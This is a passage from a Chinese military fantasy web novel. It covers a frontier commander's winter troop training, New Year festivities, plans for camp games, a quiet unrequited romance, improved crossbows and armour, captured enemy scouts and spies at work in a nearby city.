副将王铁山则在一旁,默不作声地按照计划,严格整顿着混编的步兵队伍,也是暂编五百人。盾、刀、枪、弓,层次分明,与骑兵的狂野训练形成了鲜明对比,却又隐隐呼应。
白松岭矿洞前的空地已经成为小寨和练兵场。
因屡次作战勇猛而被擢升为部将的张大胆,如今统率工兵队,手下已有两百来号兄弟。
他们个个都是在矿洞里摸爬滚打、与**见过血的悍卒。与派驻在此的镇岳营两百兵卒合兵一处,彼此较量练习,气氛既紧张又充满竞争。
张大胆的训练方式带着浓厚的“矿工”特色。他扯着大嗓门,指着被冻得硬邦邦的土地。
“兄弟们!以后咱们会扩编为工兵营!咱们的老本行是啥?挖洞。现在,把这本事用到战场上!
第一阶段,给老子练挖战壕、修掩体!要快,要结实,要能让草原**的马腿折在里面!”
他亲自下场,抡起特制的工兵锹,动作迅猛有力,泥土纷飞,很快一个标准的单人掩体就初具雏形。
“都瞧见没?这不仅是保命的
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坑,还是咱们反击的窝!挖好了,接着练第二阶段:肉搏厮杀!”
他丢掉铁锹,抽出腰刀,眼中闪烁着好战的光芒,“咱们人少,但耐力强,绝不能落后。要像钉子,**撞上来,就得崩掉他几颗牙!”
尽管主要训练步兵战术,但张大胆牢记秦猛“人人配马”的要求。“另外,咱军寨现在阔气了,人人有马!”
训练间隙,他会组织队伍练习快速上下马和基础控缰,这个时候,飞虎卫精锐会过来协助。
“挖坑堆掩体咱们是行家,骑马咱们也不能怂!关键时刻,咱们就是能挖坑能冲锋的奇兵!”
这些矿工身体素质过硬,吃苦耐劳,耐力极强。工兵队的训练,是将矿工的坚韧、步兵的勇猛与骑兵的机动性要求奇特地融合在一起,旨在从单纯蛮力向懂得运用战术的精兵蜕变。
巡检司衙门口的空地上,人头攒动。庞仁一身得体的官服外罩了件铁甲,站在一个临时搭起的木台上,面对着他麾下三百正规兵卒和前段时间从青阳城内征募来的三百名青壮劳力。
这些青壮脸色红润,身穿皮甲,眼中透着兴奋劲。
庞仁清了清嗓子,脸上堆起一种极具感染力的笑容,声音通过简单的铁皮喇叭传遍全场。
“乡亲们,弟兄们,看看你们身边的人。再想一想,**可不管你是兵还是民,刀砍过来一样没命!”
他话锋一转,变得极具煽动性:“但是,咱们现在有机会不一样了。秦将军给了我们机会。”
“看见那些战马没?”他手指着旁边拴着的数百匹马,“从今天起,军卒训练强度逐渐提升。
民壮们不仅要会干活,更要学会骑马!为什么?跑,你们能比**跑得快,那样就能活命。而且拿上刀枪,你们也能骑着马跟**拼了!”
他走下木台,来到一个紧张得笨手笨脚的青壮面前,亲自帮他调整马镫,拍了拍他的肩膀,声音放缓却依旧清晰:“别怕,谁生下来就会骑马?
我庞仁当年也是个拿笔杆子的,现在不也照样能舞刀弄枪?
训练是苦,但苦过之后,你们就不再是任人宰割的绵羊,而是能保护家小、挣得军功的汉子!”
在他的鼓动下,军卒呐喊着,青壮们眼中的恐惧渐渐被一种混合着希望和血性的光芒取代。
庞仁翻身上马,虽然动作不算最矫健,但气势十足:“都跟我来!第一阶段,先学会不掉下来。咱燕北郡巡检司铁骑队,今天就算立旗了!”
在他的带领下,这支由兵卒和青壮混编的、略显混乱的数百人“骑兵”队伍,浩浩荡荡地开始了基础骑术训练,马蹄声碎,扬起阵阵雪尘。
与军寨同步,正式投入冬季大训练!
第241章 练兵中,烟火除夕
铁血军寨,杀声震天,训练如火如荼!
秦猛身体力行,从不因天寒地冻,便蜷缩在暖屋之中,也不因身份地位提升而稍有懈怠。
每日清晨,他与妻子陈月娘、妹妹秦小芸简短话别后,便披甲执刃,巡视边防哨卡与燧堡,入校场督导练兵,偶尔前往飞虎卫营地指挥。
好不容易回到军寨后,他又得看看各个作坊,老保长王槐,诸葛风等人找来,汇报寨内情况。
这一天行程,如课程表般排的满满,秦猛事务缠身,忙得出奇。往往至夜幕深沉,才踏雪而归。
也已经安排了李山、刘铁柱、王善、**等得力干将,轮流带队前往飞虎卫的临时驻地,协助赵起将军督导其他各营以新法子的练兵。
从最基础的军姿站立,到举石锁、蛙跳等体能强化,再到分组编队,定期打乱的方式来搏杀、战阵较量,皆按铁血军寨的严苛标准推进。连边陲固有观念的新思想普及也没有落下……
时间悄然流逝,年关的脚步日益临近。
为了安抚军民,庆祝前番胜仗并迎接新年,秦猛下令派发年货,发粮发肉可不是一句空话。
之前连番多场战斗死伤的马匹过两千。数个屠宰房日夜忙碌,战马被剥皮、分割,吃不完的浇水冻成冰驼子,按户按人公平分发下去。
同时,米粮、布匹棉花、红糖等年货也陆续发放到每家每户。
尽管塞外寒风依旧刺骨,但铁血军寨内却因这份实实在在的关怀,洋溢起难得的暖意与“年味”。
军民感念秦猛这位知寨的仁德。
新迁流民不安的心情也被这份温暖悄然抚平。
这则消息传开后,周边村坊、集镇的百姓闻讯,皆是羡慕不已,许多人心下暗忖,待到来年春暖花开时,定要设法迁来这铁血军寨落户。
整个军寨,处处透着一股压抑不住的勃勃生机与坚定希望。
附寨商业街的临时集市因年节临近,军寨的大力投入。
寨内公营的十多家商铺摆出了琳琅满目的年货,尤其是饭馆,杂货铺内那清冽醉人的“北风烈”和雪白细腻的“雪花盐”,成了最抢手的物事。
嗅觉敏锐的商队们立刻察觉到了其中巨大的商机,目光紧紧盯住了“北风烈”的稳定货源。
而一些小商贩和个体户,则看中了“雪花盐”的物美价廉,琢磨着少量进货,转手牟利贴补家用。
附近村庄的百姓更是闻风而动,排起长队求购。
有的用积攒的铜钱,有的则拿出家中珍藏的上好山货药材,如老参、虫草、黄芪等,希望能换购些盐酒回去,过个有滋味的新年。
人声鼎沸,讨价还价之声不绝于耳,俨然一派繁华景象。而这正是边塞榷场形成该有的征兆。
官署后院内,陈月娘正细心地将秦猛昨日赴宴归来后沾了酒气的官服,用艾草细细熏过。淡淡的草药香驱散了酒气,更添一份清爽。
自新婚以来,她头发挽起,眉宇间原有的温婉之外,更多了一份为**的沉稳与满足。
她冰雪聪明,深知丈夫身处边塞要冲,权力漩涡之中,自己能做的,便是将这内宅打理好,将人情往来处置得妥帖,助他稳定后方,减少烦忧。
相比之下,近来,林婉儿却显得有些心事重重。夜晚隔墙依稀传来的声响在她心中投下了涟漪。
如今再见秦猛,她目光中的躲闪与那脸颊不自觉飞起的红晕,比以往任何时候都要明显。
她帮着陈月娘整理、分发年货,动作却时常慢上半拍,时不常便会望着窗棂外皑皑积雪出神,也不知那玲珑心窍里,究竟在思量些什么。
秦猛虽有所察觉,但军务繁重,练兵事大,实在无暇细细揣摩这些女儿家婉转曲折的心思。
既然想不明白,便暂且搁下,他将全副心神都投入到自身的武艺打磨和对全军的操练之上。
军寨情报这短板也在逐渐完善。
这些天,陈麻子正领着新组建的队伍操练。人人穿着皮甲戴着面具,谁也不知道他是谁。
这支三十多人的队伍,其中有从原堡民中挑选,也有从流民中筛选合适人员,秦猛亲自把关,取名为“猎犬”,主要负责分散搜集情报。
而石地虎也如约找来了十多个关系不错的伙伴。
这些人身材不高却炯炯有神,个个身手敏捷,擅长攀爬隐匿,都是穷苦人家出身,往日里一起“混江湖”的好手,队伍取名为“飞天”。
其主要职责是负责为军队提供情报。
这两支队伍,每天都会来接受秦猛手把手的教导搏杀技巧,融入市井环境,刺探时需注意的细节。如如何套话,辨识脚印到记录暗号……
两拨人虽出身不同,却都不算高,渴望功成名就,在秦猛的教导下,快速磨合,渐显默契。
情报部门的完善只能算辅助。
真正的军事力量还是各队军卒的训练。
秦猛身形挺拔,穿梭于各支队伍之间,时而纠正士卒动作,时而亲身示范格杀招式的精髓,时而锐目如鹰,扫过每一张坚毅的面孔。
寒风吹得他身后战袍猎猎作响,他望着校场上这派火热景象,心中清明:此番冬季苦练,都是为了来年夏末**来犯时能多挣得一分胜算。
他尚不知幽州城内的暗流涌动与阴谋已如罗网般悄然罩来,却坚信,大力出奇迹,眼前的精兵强将,手中的刀枪剑戟,才是唯一依仗。
任凭阴谋诡计如何来,在千军万马中,撕成粉碎。
风雪弥天,练兵不辍,铁血军寨的每一寸土地,都在酷寒中默默积蓄着来年爆发的力量。
…
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时光飞逝,转眼便到了大年三十。
连绵多日的大雪,终于在这一天显出了疲态,势头渐缓。
铁血军寨内,过年的氛围被推至高潮。
临时集市非但没有因年关关闭,反而更加红火。
许多有手艺的军民、流民纷纷在街边支起小摊,售卖自家制作的糕点、烧饼、饴糖、零嘴等吃食。
尤其引人注目的,是一位姓唐的老师傅开的糖铺。
这唐老师傅乃是军寨老人,本是南河城寨卖小糖人的,是秦猛当初首次前往城寨招募流民时,被优厚条件吸引,拖家带口前来投奔的。
他身怀制糖绝技,一直想重操旧业,如今得到军寨扶持,终于在临时集市上开了家临时铺面。
只见他巧手翻飞,捏出的糖人个个栩栩如生,活灵活现;新鲜出炉的糖糕,各种果仁酥脆,熬制红糖浆调成的热饮,在寒冬里尤受欢迎。
这简陋铺子开张不过几日,已是名声在外,每日排队购买的人群络绎不绝,生意极为兴隆。
隔壁北地烤鸭铺也很红火,这浓浓的市井烟火气,交织着军民的笑语欢声,驱散了边塞的凛冽寒意。
除夕之日,秦猛特下令,全军轮流放假一日,共享年节。
他自己则与妻子陈月娘、妹妹秦小芸在家中围着火炉,和面拌馅,包饺子,吃火锅过年。
王艳、林婉儿以及侍女小蛮也过来一同帮忙,众人围坐一桌,吃了顿热闹又温馨的团圆饭。
席间欢声笑语,暂时忘却了门外风雪与边关重任。
望着眼前景象,秦猛恍然意识到,在此方世界,年节虽也喜庆,但或许因生存艰辛或习俗不同的原因,年三十的隆重程度尚不及后世。
而正月,尤其是十五上元节,赏灯,猜灯谜,游龙看戏,才是真正万众欢腾的新年高潮。
那是因为为正月,距离开春不远了。
夜幕降临,秦猛陪着陈月娘信步走在依旧喧闹的附寨街道上,看着成群结队、换休出游的军卒,他们脸上洋溢着放松的笑容,精力充沛。
他心中忽然一动,觉得该为这些将士们增添些娱乐活动。
比如,将古老的蹴鞠加以改良,变成更具竞争性和团队协作的“足球”;或者改动一下推广军棋、象棋,甚至琢磨出类似扑克牌的纸牌游戏;乃至组织摔跤、角力,斗腿等娱乐比赛。
既可丰富业余生活,放松心神,又能潜移默化地锻炼体魄、培养协作精神,免得这些精力旺盛的汉子们吃饱喝足后无所事事,胡思乱想。
张弛有道,方是治军长久之计,一味高压训练,并非上策。
想到就做,秦猛陪着新婚首次出门的陈月娘逛了会街,买了些东西,便回到官署,随后找到诸葛风,赵开明,直接下令,找来专业人士!
第242章 文娱设想,落花有意
正月初一,新年伊始,军寨各处仍弥漫着节庆的余韵,红色的碎屑与炊烟交织,透着一股粗粝而温暖的生机。
官署前堂,气氛却有些不同寻常。
三十来个身影惴惴不安地站着,他们中有鬓角花白、眼神闪烁的五十岁老者,也有膀大腰圆、面带痞气的二十多岁汉子,甚至不乏几个看似家中顶梁柱、却因习性不端而面露愧色的男人。
陈麻子、石地虎这几个近来被提拔、却专好斗鸡玩鸟的“名人”赫然在列,老实的呆在角落。
这批人一个个缩着脖子,心里打着鼓,不知这秦知寨将他们这群“歪瓜裂枣”召集起来所为何事。
当秦猛一身整齐戎装,从左侧廊道大步踏入时,众人顿时屏息,随即呼啦啦围上前行礼。
石地虎脸上堆起谄媚的笑容,试探着问:“大人,您突然召我等前来,是有何吩咐?”
秦猛目光如炬,扫过众人,将他们的不安尽收眼底。
他大手一摆,声若洪钟:“都放松些,今日找你们来,是有任务分派,非是追究过往之责。”
这话如同定心丸,让堂下气氛一缓。
随即,秦猛扬起手中一本墨迹未干的册子,那是他熬夜梳理的想法好,
“叫你们来,是让你们瞧瞧这个,看看能否捣鼓出来?”
册子传递下去,这些平日被视为“玩物丧志”的行家里手们凑在一起翻阅。
起初他们是疑惑,待看清上面用简化绘图和详细文字描述的“足球”、“军棋”、“象棋”、“扑克”等物事后,一个个都愣住了,面面相觑。
其中年近花甲的老者何先发,摸着山羊胡,迟疑开口:“大人,您这是……?”
秦猛也不绕弯子,直言道:“军寨日益壮大,军民终日劳作、训练,弦绷得太紧易断。
本官认为,需有张弛有度,这些娱乐之物,便是用来调剂身心,丰富闲暇,于稳固军心、提升士气至关重要。”
他顿了顿,指向册子,“你们是寨中好玩会玩者,乃是此中能手,且说说这些东西能否制作出来?”
话音未落,石地虎第一个跳出来,兴奋地比划:“大人,这‘足球’好说!咱大周蹴鞠盛行,俺熟!
用猪尿泡做胆,外层用结实的皮子缝制,针脚密实些,里面塞点东西撑起来,保准能成!”
曾做过木雕的成麻子也不甘示弱:“大周本就有兵棋这物,象棋、军棋与其类似,玩法不同。
找些好木头,小的能雕刻得精美无比,就是子数比较多,个人分身乏术,尚需要些时日。”
一时间,十多个赌徒出身的人纷纷毛遂自荐,说自己也会雕功能雕刻骰子,争抢着表现。
何先发则老成持重地补充:“大人,这扑克牌亦非难事。郡城大赌坊的‘叶子牌’便是纸制,绘以花鸟鱼虫等图案,依大人想法改制即可。”
“好!”秦猛雷厉风行,当即拍板,“此事便交由你们分工负责!石地虎、陈麻子、何老丈。
你三人牵头,需要人手自行招募,所需花费据实上报。我只要结果,做得好了,重重有赏!”
“谢大人!”众人齐声应诺,脸上焕发出前所未有的光彩。
秦猛又看向其余那些擅长豢养鸟犬的家伙:“至于你们,即日起,便调入犬兵队后勤,专职饲养,协助训练军犬、信鸽,再学些兽医本事,享辅兵待遇。这也正合你们的能耐。”
安排妥当,秦猛最后激励道:“待这些娱乐之物制成,军寨或会开设专供军民放松的场馆。
届时,职位空缺众多。只要你们肯用心做事,不懒惰,其中表现优异者,本官必不吝提拔!”
“得令!”众人精神抖擞,声音洪亮,与来时那副惶惶模样判若两人。
遣散众人后,秦猛又带队巡视各营,与麾下将领演示“斗腿”小游戏,并商讨引入摔跤、角力,赛马等既能锻炼体魄又能宣泄精力的项目。
一套寓教于乐、劳逸结合的章程初步成形。
晌午时分,秦猛处理完军务,返回官署后院稍作歇息。
刚踏入院门,却见一道倩影独立于墙角那几株凌寒绽放的腊梅前,正是林婉儿。
寒风拂过,吹动她的发丝和衣袂,她却恍若未觉,只是对着那点点嫩黄出神,侧影带着一丝难言的寂寥。
“婉儿,外面风大,当心着凉。”秦猛示意亲卫牛五等亲兵自行散去,自己快步走了过去。
林婉儿闻声蓦然回首,见到秦猛,白皙的脸颊瞬间飞上两抹红霞,如同雪地点染了胭脂。
她略显慌乱地低下头,声如蚊蚋:“秦大哥……我、我只是在屋里待得闷了,出来透透气。”
随即,她像是下了很大决心,轻声道:“秦大哥,你要照顾自己和月娘姐,我……我明日该回去了,爹爹他一人在家,定然挂念。”
秦猛心中了然,这姑娘的心意他如何感觉不到?但他脑海中立刻浮现出妻子月娘温婉的面容,心中暗叹一声,情债难偿,不如不识。
他面上不动声色,顺着话头说:“这是应当的,你来军寨十余天,正月了,林大人定然牵挂。
郡城与军寨相距不远,婉儿你若想来,随时都可。沿途防务我会加派人手巡逻,断不容匪类再滋事。”
他巧妙地将话题引开,又故作轻松地补充:“对了,婉儿你回去正好,我还有份礼物托你带给林大人。
他政务操劳,捎带上几支草原雪山参,月娘也念叨着,要给你带些回去炖鸡汤,好好补补身子。”
他说着“补身子”,本是无心之言。
不料
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林婉儿一听,却猛地想起这几夜隐约听到隔壁房间秦猛与月娘住处传来的些许动静,虽不真切,却足以让她这怀春少女面红耳赤。
此刻再听秦猛此言,只觉得羞窘难当,脸颊红得似要滴出血来,跺脚嗔道:“秦大哥!你……你胡说什么呢!”
“呃……”秦猛被女孩反应给搞懵了。
就在这时,侍女小蛮像只雀儿般蹦跳过来,这丫头鬼灵精,眼珠一转,瞅瞅自家小姐,又瞅瞅秦猛,竟大胆开口:“秦将军,我家小姐她可是对您痴情……”
“小蛮!休得胡言!”林婉儿又急又羞,未等小蛮说完,慌忙伸手捂住她的嘴,一颗心怦怦直跳。
她却偷眼去瞧秦猛,见他神色如常,方才心下稍安,强自镇定地对秦猛解释:“秦大哥莫听这丫头胡说,婉儿……婉儿只是敬佩大哥戍守边陲、保境安民,是顶天立地的大英雄。”
秦猛心中苦笑,这“英雄”二字,此刻听来却有些沉重。他只能摆手,语气带着几分疏离的客气:“婉儿言重了,秦某不过是尽本职而已。”
恰在此时,妹妹秦小芸清脆的呼唤声从廊下传来,打破了这微妙的僵局:“哥,婉儿姐姐,吃饭啦!”
这一声呼唤,将三人从暧昧难言的气氛中暂时解救出来。
林婉儿暗暗松了口气,却又有一丝难以言喻的失落涌上心头。
而秦猛则顺势转身,不再讨论这话题。
落花虽有意,流水却终究无情,或是不敢有情。
……
一转眼,第二日!
正月初二。俗谓“开年日”!
在军寨又住了十来天的林婉儿,清晨,返回青阳郡城。
她与陈月娘、秦小芸执手话别,眼中尽是不舍之情。
秦猛不仅安排了林怒率领数十精骑沿途护送,顺便探望他叔父里难过,更备下了数份厚礼。
让人驱赶着三百多头肥壮羔羊,嘱托林怒带回郡城,分赠郡守、张崇、韩齐等城中交好权贵,以为年节欢庆之敬,也是维系情谊之举。
车马辘辘,渐行渐远。
林婉儿掀起马车小帘,回眸望着寨前的那道身影。眼眶泛红,泪光莹莹却终究没有哭出来。
秦猛立于高高的寨门之上,目光如炬,望着车队化作一串黑点,彻底消失在茫茫雪原的尽头。
他又静立片刻,感受着寒风拂面,嘴里却嘟囔着:“在一切向钱看的社会,我当放屁,此刻却真切感受到,问世间情为何物,直教人生死相许。”
“哎。”秦猛长叹一声,这才拨转马头,缓辔返回。心中已然开始盘算开春后的垦荒、练兵、乃至可能到来的边境摩擦等诸多事宜。
“大人……成了,成了!”就在这时,一声带着压抑不住的兴奋的呼唤打断了他纷繁的思绪。
第243章 武备初革新
秦猛循声看去,只见来人却是木工坊的领头师傅石老三。
此刻他正抱着一副明显经过改动的脚踏**,一路小跑而来,因激动而口眼歪斜,笑得几乎合不拢嘴。
“石师傅,可是**箭的改良取得了关键进展?”秦猛翻身下马,亲自迎上前去,语气中带着期待。
他记得清楚,月前正是他亲自点将,任命这位痴迷于机关巧技的石老三担任弓**改良队的领队。
“没错,大人,天大的进展!”
石老三连连点头,如同鸡啄米,跑到秦猛马前,献宝似的举起手中那副结构略显复杂的**机。
“您看,经过咱们这段时间的琢磨,这脚踏**可大不一样了!”
他指着**机关键部位,激动地解释道。
“主要是这机括,俺们加了特制的双铁簧片,弓臂也换了,又在发射槽这里做了个极小的弧形。”
“如此一来,不仅上弦省力大半,扣弦更是顺滑无比。连俺这等气力不济的,都能轻松搞定,精准度也稳了不少!”
“果真如此?”秦猛眼中精光一闪,大喜过望。
这类脚踏重**的优劣,射程远超寻常弓**,两百步外仍有破甲之威,实乃守城阻骑的利器。
唯一且致命的弊端便是上弦困难,耗时费力,寻常壮卒连续开弦三五次便会臂膀酸麻,极大限制了其实战应用。
若此弊端真被攻克,无疑将使麾下士卒的远程打击能力跃升一个台阶。
“千真万确!大人,这是俺们改良队废寝忘食,失败了十几次后,逐渐完善才摸出的门道……”
一说到具体改良,石老三顿时精神抖擞,滔滔不绝地讲述起来,夹杂着不少机括、力道、材质的专业术语。
“打住!”秦猛于具体工匠技艺并非行家里手,听得有些云山雾罩,便果断挥手打断他唠叨。
“走,是骡子是马,拉出去遛遛!即刻随我出寨,一试便知!”秦猛命亲卫牵来马,带着石老三径直出了军寨,来到平日骑兵演练的雪原上。
只见空旷的雪地里,立着数十个用来模拟敌军、冻得硬邦邦的草束雪人。
秦猛指着雪人,对石老三道:“便以此物为靶,你来上弦,本官亲自试射。”
石老三应了一声,熟练地用脚踩住**蹬,双手拉住弓弦。
只听“咔哒”一声轻响,原本需要壮汉奋力才能拉开的弦,竟被他看似不甚费力的挂上了**机。
秦猛接过**,屏息凝神,先立于五十步外,扣动悬刀。
“嗖!”
一支无尾翎的短矢激射而出,瞬间洞穿第一个雪人,去势不减,又狠狠扎进第二个雪人体内,箭头从背后透出,最终深深嵌入第三个雪人之中。
“好!”周围亲卫见状,不禁齐声喝彩。
移至百步,**箭依旧凌厉,成功穿透第一个雪人,大半箭身没入第二个雪人,透出半个箭头。
直至两百步外,箭矢虽威势稍减,仍能稳稳钉入雪人胸膛,入木三分。
这些雪人内部草束紧实,外覆厚冰甲,论坚硬程度,虽不及真正的铁甲,但也相去不远。
测试结果明明白白,改良后的脚踏**,威力并未减弱,射速和精准性却得到了翻天覆地的提升。
更令人惊喜的是,石老三这般并非以气力见长的工匠,竟能连续上弦五六次而面无赧色,气息尚且均匀。
“好!石师傅,尔等立下大功了!”秦猛抚摸着尚带余温的**身,难掩心中喜悦,连连称赞。
石老三受到鼓舞,立刻趁热打铁道:“大人,这守城**的改良思路,俺觉得同样能应用到床子**上,只是材料和技术需再琢磨……”
“准了!木工坊所有参与改良者,皆重重有赏!”秦猛大手一挥,随即面色一肃,叮嘱道。
“不过,当前首要任务,是优先将库存的脚踏**依新法批量改良,装备部队。”
“切记,此等军国利器,关乎将士性命,所用材料必须严格把关,绝不允许丝毫偷工减料!”
“弓**重要零部件不可或缺,不必计较银钱花费,务求尽善尽美,若有需要,可直接向侯府支取!”
“得令!小的明白!”石老三躬身领命,神色郑重。
带着对军备革新的兴奋,秦猛返回军寨后,并未停歇,而是径直转向寨子东侧烟火缭绕的区域。
那里正是日夜不休、叮当作响的铁匠工坊。
找到正围着皮裙、指挥学徒锤炼铁片的李铁匠,秦猛开门见山:“李师傅,新组建的甲胄队,这段时间可有成果?”
“哈哈哈,秦大人来得正好!”李铁匠见是秦猛,用汗巾抹了把黑漆漆的脸,咧嘴笑道。
“老汉正准备过了初二,明日便去官署给大人拜年,顺便禀报这个好消息。”
“有何好消息?现在便说!”秦猛兴趣更浓。
“大人随我来仓库一看便知!”李铁匠也不多言,放下铁锤,引着秦猛便往后方库房走去。
一进仓库,秦猛眼前便是一亮。
只见偌大的仓库内,除了整齐堆放着寒光闪闪的刀、盾、长矛、狼牙棒等各类制式武器外。
更引人注目的是多出了木架区。
靠前的数排架子上挂满了修缮一新的锁子甲和铁叶甲,甲片摩擦,发出细密的沙沙声。
然而,真正让秦猛目光凝固的,是仓库一角那些明显是“新品”的甲胄。
李铁匠快步走到一副黑铁甲前,单手将其提起,展示给秦猛。
“大人请看,这便是用新法炼出的铁料打制的铁鳞甲。”
他语气中带着自豪:“多亏了大人您提供的那个秘法,熔炼出的矿石杂质极少,省去了反复锻打,出来的铁片韧性十足,质地均匀。”
“同样大小的甲片,重量能轻上一两成,但
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坚硬程度反而更有胜之。”
“俺们反复测试,这套新甲全重只有三十来斤,但防御效果,绝不逊于过去那些四十多斤的重甲!”
秦猛闻言,心中惊喜交加。
他比任何人都清楚,对于需要长途奔袭、结阵鏖战的士兵而言,这减轻的十斤重量意味着什么。
意味着更持久的耐力,更灵活的动作,在战场上,这便是生与死的差距,是决定胜负的关键!
“取一副旧甲来!”秦猛下令。
亲卫很快取来一副标准的四十多斤铁叶甲。
秦猛亲手掂量,重量差异明显。他又令两名力士分别用制式战刀奋力劈砍,用强弓在三十步外直射。
结果果然如李铁匠所言,新甲防御效果与旧甲相仿,甚至对劈砍的防御略有胜出,而重量却轻了许多。
“好!太好了!”秦猛抚摸着新甲上冰冷坚韧的铁鳞,眼中闪过锐利的光芒。
“此类新甲,可以立即开始批量生产,优先装备哨探和精锐战兵!”
“不过,李师傅,这还不够,铁匠坊还需继续钻研,若能再将重量减轻数斤,达到二十多斤的水平,那才算是真正的突破!”
“大人放心,老汉必定竭尽全力,带着徒弟们日夜琢磨!”李铁匠心情激荡,赶忙抱拳应下。
接着,他又引秦猛走到仓库最深处,指着靠墙摆放的十几口木箱。
“这些,则是按照大人您的严令,将上次缴获的那些**重甲,挑选一部分,抓紧修缮,并用新锻造的加厚甲片替换了原来的薄弱之处。”
他打开一口箱子,里面是几乎将人和马都包裹起来的沉重铁甲。
“马甲,三十套,人甲三十五斤,马甲六十斤,一套全重达九十五斤。虽比**全套甲轻了四十余斤,但咱们的铁片质地更优,防御力只强不弱!”
他又打开旁边一口稍小的箱子,里面是一套更为厚重、只供步战使用的铁甲。
“步人甲,甲片特意加厚,全套共八十多斤,非力能扛鼎的勇士不可穿戴。”
“防御力极强,老汉敢打包票,远超契丹铁林军的重甲,二十步开外,便是破甲箭也难以洞穿!”
秦猛看着箱中那散发着冷冽杀气、做工精良的重甲,心中更是欢喜无限。
依托缴获改良的马甲,是他设想中重骑兵的雏形,一旦成建制,便是冲锋陷阵、撕裂敌阵的无敌铁拳。
而步人甲,则是为乌维麾下的突击队准备的攻坚利器,要在不适合骑兵冲锋、最关键的时刻,如磐石般稳住阵脚,或如利刃般撕开缺口。
想象着未来战场上,披坚执锐的铁甲洪流彻底冲垮草原蛮子骑兵的场景,秦猛胸中豪情激荡。
这神州**河山,终将重现汉家儿郎的赫赫武威!
“大人,双涡堡来人了!”就在秦猛胡思乱想之时,亲兵队将秦小六突然闯入仓库,飞奔来报。
第244章 狼戎军情,郡城暗流
秦猛从铁甲洪流横扫草原的想入非非中猛然惊醒:“李叔,参与改良步人甲者,皆有重赏!”
他语速极快地对李铁匠说道,眼中精光闪烁:“重甲的改良务求精益求精,需持续改进,马槊等武器也得早日批量生产,装备我军。”
话音未落,他已转身,大手一挥:“**,牛五,随我来!”
几人脚步匆匆,身影迅速消失在铁匠工坊门外,只留下尚未散尽的豪情与突如其来的紧张气氛。
……
官署内,炭火盆烧得正旺,驱散着北地的严寒。
官署设立诸槽办公,诸葛风自有其公值房,平日多半在此代替秦猛处理政务,坐镇中枢。
他早已命人备下热腾腾的姜汤,递给那名风尘仆仆的探马。
秦猛疾步踏入,目光瞬间锁定报信之人——正是张铁蛋。
这个十**岁的后生,不仅是张富贵的亲兵,更是其宗族兄弟,关系非同一般。
他此刻出现在此,必代表双涡堡有要事发生。
“莫非双涡堡又出变故?”
秦猛心下不由一沉,面上却不动声色。
张铁蛋见秦猛进来,急忙起身迎上,压低声音:“大人,富贵哥命我速来,有紧要军情禀报!”
秦猛挥手屏退左右亲兵,只留诸葛风在侧,拉着张铁蛋靠近暖烘烘的火炉。
“何事?细细说来。”秦猛声音沉稳,目光如炬。
张铁蛋禀报:“猛子哥,今日凌晨,咱们擒住了两个**,是草原狼戎部黑狼部落的探子!”
“狼戎?”一旁的诸葛风闻言,瞳孔骤然收缩。
秦猛心中也是咯噔一下,但脸色依旧平静无波:“哦?仔细道来,如何擒获?详情如何?”
“是。”张铁蛋应诺,随即娓娓道来,“自北狼口伏击战后,我堡便按例不定期巡逻至北狼口一带。
富贵哥对此令执行不怠。起初几日并无异状,然自腊月二十八始,巡逻队屡次发现草原边缘似有人影闪动,北狼口附近出现不明马蹄印记。
富贵哥得报后,断定乃**窥探,遂加派哨探,命人多留个心眼。
直至年三十深夜,堡中所养犬只无故狂吠不止,富贵哥心知有异,必是**趁夜临近。
他当即亲自带队,于雪夜中迂回包抄,历经搜寻,于今日凌晨终于擒获此二獠。经初步拷问。
两人乃黑狼部落哨骑,奉其酋长德克萨之命,潜过冰河,前来窥探前番覆灭队伍和我军虚实!”
秦猛听罢,眸中寒光一闪,稍作思索便有了决断:“铁蛋,你且饱餐热食,恢复体力后,即刻返回双涡堡。
告知富贵哥,年节却不可松懈,需严加防范,枕戈待旦,随时提防狼戎来袭,准备迎战**!”
“得令!”张铁蛋重重抱拳。
待这小伙退下后,诸葛风面色凝重地进言:“大人,是否需向双涡堡增派兵力,以防狼戎部突袭?”
秦猛却摆了摆手,嘴角勾起一抹冷峻的弧度:“不必过度紧张。前番吴二等人带回的消息可知。
这德克萨生性谨慎、多疑。未探明我方虚实前,他断不敢贸然大举进犯。何况,如今有赵将军数千精锐坐镇边陲,我等又何须惧他区区一个黑狼部落?”
“哈哈,大人所言极是,倒是属下多虑了。”诸葛风闻言,心下稍安。
“然则,”秦猛话锋一转,眼中闪过凌厉杀机,“狼戎部近年来屡犯我境,劫掠杀戮,罪不容诛!
我等确不可大意,需训练兵卒,好好筹划,如何趁此机会,给这头草原恶狼一个难忘的教训!”
……
距军寨后方二十多里的青阳郡城。
虽天空中断断续续飘着细雪,但新年的氛围却愈发浓烈。
从四里八乡乃至外地赶来的小商小贩、杂耍戏班涌入城中,各条主街道上叫卖声、吆喝声不绝于耳。
许多宽敞的街口、广场都搭起了简陋的戏台,咿咿呀呀的唱戏声引得大量百姓驻足围观。
街上,人潮涌动,一派喜气洋洋。
在这摩肩接踵的人流中,有一支看似寻常的皮货商队格外独特。
他们有人摆摊,贩卖着些普通的皮子,有人驱赶着几头肥硕的猪羊,似乎是想在年节前赚上一笔。
然而,在他们与顾客讨价还价、或是热情招揽生意之际,言语间却总有有意无意地打探着城内的各种消息。
尤其是月前那件轰动全城的巨变!
——本郡豪门董家及其党羽、数家交好的家族,如何在一夜之间被官军剿灭,资产抄没。
“大人,消息基本打探清楚了。”
城内一家不起眼的小客栈,二楼僻静的房间内。
一个头戴破旧毡帽、农户打扮的汉子急匆匆推门而入,用力甩落身上的雪花,快步走到临窗而立的一个中年男子身后,压低声音汇报。
那中年男子作掌柜打扮,看似寻常,但眉眼间却透着一股精干之气,眼底密布着些许血丝。
“董家及其党羽确已被连根拔起,城内传言,此事极可能与三公子率队出城‘行猎’,却意外失踪有关联。”
“属下多方探听,那段时间,城外似乎确有不同寻常的兵马调动痕迹,但郡守府对此讳莫如深。”
听着手下的汇报,“掌柜”转过身,脸上早已没了之前的淡然,取而代之的是一片凝重。
他走到窗边,掀开一条缝隙,望着楼下熙攘却暗藏诡异的人流,眉头紧锁,喃喃道。
“董家……三公子失踪……兵马调动……这青阳郡的水,比主上预想的还要深,还要浑啊。”
“传令下去,让所有弟兄暂停一切活动,就地隐匿。另外将这个消息迅速传
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回,告诉大东家。”
与此同时,青阳郡城,郡守衙门。
与上次林婉儿主仆二人偷偷摸摸、悄无声息归来截然不同,
此次阵仗颇大,有其堂兄林怒亲自率领一队精锐骑兵护送,
更有百余头肥羊组成的“献礼”队伍,浩浩荡荡抵达衙前。
